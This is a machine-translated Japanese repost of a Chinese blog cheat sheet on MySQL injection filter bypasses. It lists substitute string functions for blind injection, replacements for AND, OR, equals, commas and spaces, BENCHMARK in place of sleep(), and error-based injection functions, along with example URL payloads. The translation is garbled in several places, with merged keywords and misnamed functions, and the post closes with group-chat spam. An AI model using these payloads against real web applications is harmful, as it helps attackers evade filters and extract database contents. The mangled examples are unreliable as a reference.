ハッカーが初心者のために学ばなければならないMysqlインジェクションのトリック、あなたはゼロファンデーションで理解することができます

1つは、文字列インターセプト関数です。

通常、ブラインドインジェクションを実行するときに文字列をインターセプトするためにsubstr()関数を使用しますが、substr()がフィルタリングされたらどうすればよいですか?これらの関数を使用して同じ効果を実現できます

1.left(str、length)

文字列は左側の長さの位置からインターセプトされます。
使用法:left(str、length)、つまり:left(インターセプトされた文字列、インターセプトされた長さ)
SELECT LEFT( 'www.baidu.com'、8)
結果は次のとおりです。 :www.baid

2.right(str、length)

文字列は右側の長さの位置からインターセプトされます。
使用法:right(str、length)、つまり:left(インターセプトされた文字列、インターセプトの長さ)
SELECT RIGHT( 'www.baidu.com'、8)
結果は:aidu.com

3.substring(str、index、len)

特定の長さの文字列をインターセプトします。
使用法:
substring(str、pos)、つまり:substring(インターセプトされる文字列、どの位置から)
substring(str、pos、length)、つまり:substring(傍受、傍受を開始する位置、傍受の長さ)

(1)文字列の8番目の文字から最後まで読み取ります

SELECT SUBSTRING( 'www.baidu.com'、8)の結果
は次のとおりです。du.com

(2)文字列の8文字目から、3文字のみが使用されます。

SELECT SUBSTRING( 'www.baidu.com'、8,3)の結果は次のとおりです。du

4.mid(str、start、length)

strのインターセプトは最初から始まり、
mid()の長さをインターセプトする使用法はsubstr()と同等です。ここでは詳しく説明しません。

5.substring_index(str、delim、count)

キーワードで読み取る
使用法:substring_index(str、delim、count)、つまり:substring_index(インターセプトされた文字列、キーワード、キーワードの出現回数)

興味のある友達はエディターをフォローし、プライベートメッセージ「01」を送信してスカートに入ることができます

(1)2番目の「。」の前のすべての文字をインターセプトします。

SELECT SUBSTRING_INDEX( 'www.baidu.com'、 '。'、2);
結果:www.baidu

2.最後から2番目の「。」の後のすべての文字をインターセプトします。

SELECT SUBSTRING_INDEX( 'www.baidu.com'、 '。'、-2);
結果:baidu.com
3.キーワードが存在しない場合は、文字列全体を返します
SELECT SUBSTRING_INDEX( 'www.baidu.com'、 'zkaq '、1);
結果:www.baidu.com

substring_index()はブールブラインドで使用でき、最初に不可能な値をインターセプトします。次に、ページを通常の状態に戻す必要があります。たとえば、次のように
なります。andsubstring_index(database()、 'qwasda'、1)= database() '

6.Locate(substr、str)

文字列の位置を返す
使用法1:LOCATE(substr、str)は、文字列substr内のstrの最初の出現位置を返します
例:文字列 "d"の最初の出現位置を返しますSELECTlocate
( "d"、 'www.baidu .com');
結果:8

使用法2:
LOCATE(substr、str、pos)は、文字列str内で最初に出現するsubstrの位置を、posから開始して返します。
例:文字列 "pan.baidu.com"の3桁目から数えて、文字を返します。
「a」の最初の出現位置SELECTlocate( "a"、 'pan.baidu.com'、3);
結果:6locate
()は文字列の長さを決定することも
できますselectlocate( 'm'、 'm123456m' 、15);

7.instr(substr、str)

返される文字列の位置はlocate()と同等ですが、構文が逆になります

使用法:instr(substr、str)は、文字列substr内のstrの最初の出現位置を返します
例:文字列 "d"の最初の出現位置を返します
SELECT instr( 'www.baidu.com'、 "d" );
結果:8

8.position(substr IN str)

position(substr IN str)の効果は、instr()、locate()と同じですが、構文が異なります。

使用法:POSITION(substr IN str)は、文字列内のstrの最初の出現位置を返しますsubstrは、LOCATE(substr、str)の結果と同じです
例:最初の出現から文字列 "d"の位置を返します
SELECT position( "d" in'www.baidu.com ');
結果:8

9.strcmp()

すべての文字列が同じ場合は、STRCMP()を返します。現在の分類順序に従って最初のパラメーターが2番目のパラメーターよりも小さい場合は、-1を返します。それ以外の場合は、1を返します。
使用法:

mysql> SELECT STRCMP(12345,123456);
 -> -1
mysql> SELECT STRCMP(1234567,123456);
 -> 1
mysql> SELECT STRCMP(123456,123456);
 -> 0

2つの代替論理演算子

注射するときに最もよく使うものは何ですか?インジェクションポイントがあるかどうかをテストするとき、1 = 1がよく使用されます。andや等号「=」などの論理演算子がフィルタリングされて使用できない場合は、あきらめますか?現時点では、特別な記号置換を使用する

1.交換して

とがフィルタリングされる場合、
Index.php?id = 1の代わりに「&&」を使用できます。1= 1はIndex.php?id = 1 && 1 = 1と同等です。

2.交換または

またはがフィルタリングされる場合、
Index.php?id = 1.1の代わりに「||」を使用できます。または1 = 1はIndex.php?id = 1.1 || 1 = 1と同等です。

3.XOR演算子「^」を置き換えます

排他的論理和演算子「^」がフィルタリングされる場合、
select 1 = 1の代わりに「XOR」を使用できます。XOR1= 1はselect1 = 1 ^ 1 = 1と同等です。

4.等号「=」を置き換えます

等号 "="がフィルタリングされると、さまざまなメソッドを使用して、
(1)間://
0x61と0x7aの間のselectdatabase()を置き換えることができます;
(2)in:// mysql、in式では、その関数は特定の範囲のデータをクエリすることです
SELECT * FROM user WHERE uid IN(2,3,5)
(3)//ファジークエリのように、
Index.phpを使用することもできますか?等号としてのid = 1.1または1のような1はIndex.phpと同等ですか?id = 1.1または1のような1
(4)等号の代わりに通常の
SELECT'Hern 'REGEXP' [0-9] ';
Rlike ===正規表現
REGEXPはRLIKEに相当します

5.コンマ「、」を置き換えます

union select 1,2,3 => union select * from(select 1)a join(select 2)b join(select 3)c;

6.スペースを交換します

%20%09%0a%0b%0c%0d%a0 / ** / tab /
%a0これはphpの\ s
/ *!/とは一致しません内刻注
#これはセパレーターとしても使用できます。非常に興味深い

7.NULLを置き換えます

\ N => null
select * from duomi_admin where id = \ N

3、いくつかのヒント

1. sleep()を置き換えます

BENCHMARK(100000、SHA1( '1'))、1
BENCHMARK関数は、関数が実行された回数を指します。回数が多い場合は、スリープ関数と同じ効果が得られます。

2.関数名と角かっこの間に特殊文字を追加できます

concat / ** /()
version()

3.ファンシーエラーインジェクション

Floor()
Updatexml()//
Extractvalue()は5.1.5より上で使用できます//
Exp()は
5.1.5より上で使用できます// Name_constgeometrycollection
()、multipoint()、Polygon()、multipolygonは後に使用できます5.5.5 ()、linestring()、multilinestring()幾何関数エラー

4.ASCIIを置き換えます

Hex()
Bin()
Ord()

自分で作成したPython学習グループ:705933274を引き続きお勧めします。全員がPythonを学習しています。Pythonを学習したい、または学習している場合は、ぜひ参加してください。誰もがソフトウェア開発パーティーであり、最新のPythonの高度な資料のコピーや、2021年に私が編集したゼロベースの教育など、随時(Pythonソフトウェア開発に関連するもののみ)。高度でPythonに興味のある友人を歓迎します。

 

おすすめ

転載: blog.csdn.net/m0_55479420/article/details/115121065